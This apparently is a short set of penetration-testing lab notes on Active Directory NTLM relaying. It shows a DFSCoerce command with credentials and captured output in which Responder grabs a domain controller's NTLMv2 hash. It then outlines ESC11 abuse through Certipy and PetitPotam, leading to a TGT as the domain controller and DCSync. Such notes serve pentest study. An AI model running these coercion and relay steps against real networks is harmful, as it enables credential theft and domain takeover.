NTLM_Relaying
DFSCoerce
Documentation: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dfsnm/95a506a8-cae6-4c42-b19d-9c1ed1223979
MS-DFSNM DFSCoerce
DFSCoerce abuses the NetrDfsAddStdRoot and NetrDfsRemoveStdRoot methods of Distributed File System (DFS):
Namespace Management Protocol (MS-DFSNM);
(DFSCoerce does not seem capable of coercing HTTP NTLM authentication)
https://github.com/Wh04m1001/DFSCoerce
python3 dfscoerce.py -u 'plaintext$' -p 'o6@ekK5#rlw2rAe' 172.16.117.30 172.16.117.3
[-] Connecting to ncacn_np:172.16.117.3[\PIPE\netdfs]
[+] Successfully bound!
[-] Sending NetrDfsRemoveStdRoot! NetrDfsRemoveStdRoot ServerName: '172.16.117.30\x00' RootShare: 'test\x00' ApiFlags: 1
DCERPC Runtime Error: code: 0x5 - rpc_s_access_deniedResponder
don't forget to start responder so you can capture the ntlm credential
[SMB] NTLMv2-SSP Client : 172.16.117.3
[SMB] NTLMv2-SSP Username : INLANEFREIGHT\DC01$
[SMB] NTLMv2-SSP Hash : DC01$::INLANEFREIGHT:e2d2339638fc5fd6:D4979A923DD76BC3CFA418E94958E2B0:010100000000000000E0550D97C<SNIP>ESC11
ESCALATION 11
NTLM Relay to AD CS ICRP Endpoints
https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/
Good research showing how to take advantage of this issue
IF_ENFORCEENCRYPTICERTREQUESTenforces the encryption of certificate enrollment requests between a client and the CA; The client must encrypt any certificate request it sends to the CA.If the CA does not have the flag
IF_ENFORCEENCRYPTICERTREQUESTset, unencrypted sessions (think relaying coerced SMB NTLM authentication over HTTP) can be used for certificate enrollment.
LINUX
Find vulnerable servers with Certipy
Abusing ESC11 with Certipy
Coerce authentication with PetitPotam
Certipy receiving Authentication from LAB-DC$
Request a TGT as the Domain Controller
Perform DCSync using the TGT as the Domain Controller
Perform DCSync using the NT Hash as the Domain Controller
Last updated